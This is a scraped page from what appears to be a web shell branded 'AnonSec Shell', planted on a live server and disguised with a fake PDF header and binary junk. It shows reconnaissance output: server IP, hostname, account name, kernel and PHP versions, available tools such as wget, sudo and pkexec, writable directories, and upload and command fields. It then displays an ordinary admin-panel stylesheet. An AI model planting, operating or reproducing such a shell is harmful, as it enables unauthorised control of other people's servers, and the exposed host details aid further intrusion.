%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/admin_dons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/admin_dons/style.css
html{padding:0; margin:0;}
body{margin: 0; padding:0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; color:#444;}
header h1{font-weight:700; font-size: 1.75rem; line-height: 1.2; margin:30px 0;}
main{width: 80%; margin: auto; padding:0;}
/* Conteneur pour permettre le défilement horizontal sur mobile */
.admin-table-container {
  margin: 20px;
  border-radius: 12px;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.08);
}

/* Style général du tableau */
.admin-table {
  width: 100%;
  border-collapse: collapse;
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background-color: #fff;
}

/* En-têtes */
.admin-table thead {
  background-color: #f5f5f5;
  color: #333;
}

.admin-table thead th {
  padding: 12px 16px;
  text-align: left;
  font-weight: 600;
  font-size: 15px;
  border-bottom: 2px solid #e0e0e0;
}

/* Corps */
.admin-table tbody tr {
  border-bottom: 1px solid #eaeaea;
  transition: background 0.2s ease;
}

.admin-table tbody tr:hover {
  background-color: #f9f9f9;
}

.admin-table td {
  padding: 12px 16px;
  font-size: 14px;
  color: #444;
}

/* Boutons */
.btn {
  padding: 6px 10px;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  font-size: 14px;
  margin-right: 5px;
  transition: background-color 0.2s ease;
}

.btn-edit {
  background-color: #e0f0ff;
  color: #007acc;
}

.btn-edit:hover {
  background-color: #c2e4ff;
}

.btn-delete {
  background-color: #ffe0e0;
  color: #d11a2a;
}

.btn-delete:hover {
  background-color: #ffc2c2;
}

ul.pagination {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  list-style: none;
  padding: 0;
  margin: 30px 0;
  gap: 6px;
}

/* Liens de base */
ul.pagination li a {
  display: inline-block;
  padding: 8px 12px;
  border-radius: 6px;
  background-color: #f0f0f0;
  color: #007acc;
  text-decoration: none;
  font-size: 14px;
  transition: background-color 0.2s ease;
  border: 1px solid #ccc;
}

ul.pagination li a:hover {
  background-color: #d9ecff;
  border-color: #90caff;
}

/* Page actuelle */
ul.pagination li.pager-current {
  padding: 8px 12px;
  background-color: #007acc;
  color: white;
  font-weight: bold;
  border-radius: 6px;
  font-size: 14px;
  border: 1px solid #007acc;
}

/* Points de suspension */
ul.pagination li.pager-ellipsis {
  display: flex;
  align-items: center;
  font-size: 18px;
  padding: 0 6px;
  color: #888;
}

/* Désactivation des boutons si besoin */
ul.pagination li.disabled a {
  pointer-events: none;
  opacity: 0.5;
  cursor: default;
}

/* Optionnel : espacements spécifiques pour première/dernière page */
ul.pagination li.first a,
ul.pagination li.last a {
  font-weight: bold;
}

.btn-icon {
  font-size: 20px;
  color: #444; /* rouge type PDF */
  text-decoration: none;
  border: none;
  background: none;
  outline: none;
  padding: 6px;
  border-radius: 6px;
  transition: background-color 0.2s ease;
}

.btn-icon:hover {
  /*background-color: #e9f7ef;*/
  color: #666;
}

.btn-icon:focus {
  outline: none;
  box-shadow: none;
}

.icon-sm {
  width: 20px;
  height: 20px;
  vertical-align: middle;
  fill: #666;
  cursor:pointer;
}

.date-range {
  display: flex;
  align-items: center;
  gap: 8px;
  flex-wrap: wrap;
}

.date-range input {
  padding: 5px 8px;
  border: 1px solid #ccc;
  border-radius: 4px;
  font-size: 14px;
}

.date-input {
  position: relative;
  display: inline-block;
}

.date-input input {
  padding: 6px 32px 6px 10px;
  font-size: 14px;
  border: 1px solid #ccc;
  border-radius: 6px;
  width: 140px;
  box-sizing: border-box;
  background-color: white;
}

.calendar-icon {
  position: absolute;
  right: 10px;
  top: 60%;
  transform: translateY(-50%);
  pointer-events: none;
}


.ui-datepicker {
  font-size: 14px;
  background: #ffffff;
  border: 1px solid #ccc;
  padding: 10px;
  border-radius: 8px;
  box-shadow: 0 2px 8px rgba(0,0,0,0.1);
  z-index: 1000 !important;
}

.ui-datepicker td {  text-align:center;}
.ui-datepicker td a {
  padding: 4px 6px;
  display: inline-block;
  text-align: center;
  color: #333;
  background: none;
  border-radius: 4px;
  transition: background-color 0.2s ease;
}

.ui-datepicker td a:hover {
  background: #821117;
  color: #fff;
}

.ui-datepicker .ui-datepicker-header {
  background-color: #99151c;
  color: white;
  border: none;
  border-radius: 6px 6px 0 0;
  padding: 8px;
  font-weight: bold;
}

.ui-datepicker td .ui-state-default {
border-radius: 4px;
border-color:#ccc;
}
/* Surlignage de la date sélectionnée */
.ui-datepicker td .ui-state-active {
  background-color: #99151c !important; /* rouge foncé comme ton bouton */
  color: white !important;
  border-radius: 4px;
}

/* En-tête du calendrier */
.ui-datepicker .ui-datepicker-header {
  background-color: #99151c; /* même rouge que ton bouton */
  color: white;
  padding: 10px;
  border-radius: 6px 6px 0 0;
  position: relative;
}

/* Boutons précédent et suivant */
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
  position: absolute;
  top: 10px;
  width: 20px;
  height: 20px;
  cursor: pointer;
  border-radius: 50%;
  background-color: #fff;
  color: #99151c;
  font-weight: bold;
  text-align: center;
  line-height: 28px;
  transition: background-color 0.2s ease, color 0.2s ease;
}

.ui-datepicker .ui-datepicker-prev {
  left: 10px;
}

.ui-datepicker .ui-datepicker-next {
  right: 10px;
}

/* Hover effet */
.ui-datepicker .ui-datepicker-prev:hover,
.ui-datepicker .ui-datepicker-next:hover {
  background-color: #eee;
  color: white;
}

.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
  font-size: 0; /* cacher le texte */
  background-repeat: no-repeat;
  background-position: center;
  background-size: 16px 16px;
}

.ui-datepicker .ui-datepicker-prev {
  background-image: url('data:image/svg+xml;utf8,<svg fill="%2399151c" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M15.41 7.41 14 6l-6 6 6 6 1.41-1.41L10.83 12z"/></svg>');
}

.ui-datepicker .ui-datepicker-next {
  background-image: url('data:image/svg+xml;utf8,<svg fill="%2399151c" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M8.59 16.59 10 18l6-6-6-6-1.41 1.41L13.17 12z"/></svg>');
}

.ui-datepicker-title{text-align:center;}


.modal-overlay {
  display: none; /* cachée par défaut */
  position: fixed;
  z-index: 9999;
  top: 0; left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.5);
  justify-content: center;
  align-items: center;
  animation: fadeIn 0.3s ease-out forwards;
}

.modal-content {
  background-color: #fff;
  padding: 20px;
  border-radius: 12px;
  width: 90%;
  max-width: 500px;
  box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
  transform: translateY(-30px);
  opacity: 0;
  animation: slideIn 0.3s ease-out forwards;
  position: relative;
}

@keyframes fadeIn {
  from { background-color: rgba(0, 0, 0, 0); }
  to   { background-color: rgba(0, 0, 0, 0.5); }
}

@keyframes slideIn {
  from {
    opacity: 0;
    transform: translateY(-30px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.modal-close {
  position: absolute;
  right: 12px;
  top: 10px;
  font-size: 24px;
  cursor: pointer;
  color: #999;
  transition: color 0.2s ease;
}

.modal-close:hover {
  color: #444;
}

.modal-content h3 {
  font-size: 20px;
  margin-bottom: 15px;
  color: #99151c; 
  border-bottom: 2px solid #d4d4d4;
  padding-bottom: 8px;
  font-weight: 600;
  letter-spacing: 0.5px;
}



.btn-detail {
  color: #444;
  border: none;
  padding: 6px 10px;
  border-radius: 6px;
  cursor: pointer;
  font-size: 14px;
 background: none;
}

.btn-detail:hover {
  color: #666;
}


.ligne-paye {
  background-color: #e9f7ef; /* vert pâle */
}

.ligne-non-paye {
  background-color: #fff4f4; /* rouge pâle */
}

/* Optionnel : effet au survol */
.admin-table tbody tr:hover {
  background-color: #f1f1f1;
}

.search-form {
  display: flex;
  flex-wrap: wrap;
  justify-content: flex-end;
  align-items: center;
  gap: 10px;
}

.select-paiement {
  padding: 6px 12px;
  font-size: 14px;
  border-radius: 6px;
  border: 1px solid #ccc;
  background-color: #fff;
  min-width: 150px;
}

.search-form input[type="text"] {
  padding: 6px 12px;
  border: 1px solid #ccc;
  border-radius: 6px;
  font-size: 14px;
  width: 180px;
}

.search-form button {
  padding: 6px 12px;
  background-color: #99151c;
  color: white;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  font-size: 14px;
  transition: background-color 0.2s ease;
}

.search-form button:hover {
  background-color: #821117;
}

.btn-reset {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  padding: 6px 12px;
  background-color: #f5f5f5;
  color: #444;
  border: 1px solid #ccc;
  border-radius: 6px;
  font-size: 14px;
  text-decoration: none;
  font-weight: 500;
  transition: background-color 0.2s ease, border-color 0.2s ease;
}

.btn-reset:hover {
  background-color: #e0e0e0;
  border-color: #999;
  color: #222;
}

.btn-reset:focus {
  outline: none;
  box-shadow: 0 0 0 2px rgba(153, 21, 28, 0.2); /* légère aura rouge */
}

.search-bar-wrapper {
  display: flex;
  justify-content: space-between;
  align-items: center;
  flex-wrap: wrap;
  margin: 20px;
}

.left-link {
  flex-shrink: 0;
}

.left-link .btn-left {
  background-color: #007acc;
  color: white;
  padding: 6px 12px;
  border-radius: 6px;
  text-decoration: none;
  font-size: 14px;
  transition: background-color 0.2s ease;
}

.left-link .btn-left:hover {
  background-color: #005fa3;
}

.icon-eye {
  width: 18px;
  height: 18px;
  vertical-align: middle;
  fill: #666; /* gris discret */
  transition: fill 0.2s ease;
}

a:hover .icon-eye {
  fill: #000; /* plus visible au survol */
}


 #logo{width:476px;}

footer {
  background-color: #ddd;
  color: #6b6b6b;
  text-align: center;
  padding: 25px 0;
  font-size: 1em;
  margin-top: 40px; /* espace avec le contenu */
  width: 100%;
}

footer a{color:#99151c; outline: none; text-decoration: none;}
footer a:hover{color:#6f6f6f;}

.footer {padding:20px 10px;}

#loading-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.7); /* Noir avec 70% d'opacité */
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 9999;
            pointer-events: none; /* Empêche les clics */
        }

        /* Icône de chargement (spinner) */
        .spinner {
            border: 8px solid rgba(255, 255, 255, 0.3);
            border-top: 8px solid #fff;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 1s linear infinite;
        }

        /* Animation de rotation */
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }


/* Responsive design */
@media only screen and (max-width: 700px) {
  main{width: 100%;}

  .admin-table thead {
    display: none;
  }

  .admin-table, .admin-table tbody, .admin-table tr, .admin-table td {
    display: block;
  }

  .admin-table tr {
    margin-bottom: 15px;
    border-radius: 10px;
    padding: 10px;
    box-shadow: 0 1px 5px rgba(0,0,0,0.05);
  }

  .admin-table td {
    padding: 8px 12px;
    text-align: right;
    position: relative;
  }

  .admin-table td::before {
    content: attr(data-label);
    position: absolute;
    left: 12px;
    top: 8px;
    font-weight: bold;
    text-align: left;
    color: #555;
  }
  
  .modal-content{max-width:300px; width: 95%; padding: 16px; font-size: 15px;}
  #logo{width:350px;}
  
  .search-bar-wrapper {
    flex-direction: column;
    align-items: stretch;
  }

  .search-form input[type="text"],
  .select-paiement,
  .search-form button,
  .btn-left {
    flex: 1 1 100%;
    min-width: 90%;
  }

  .btn-left {
    align-self: flex-start;
	align-self: flex-start;
    display: flex;
    margin-bottom: 10px;
  }
  
  .date-range label {display:block; width:100%;}
  .date-input{width:100%;}
  .search-form .date-input input {min-width:100%;}
}

Anon7 - 2022
AnonSec Team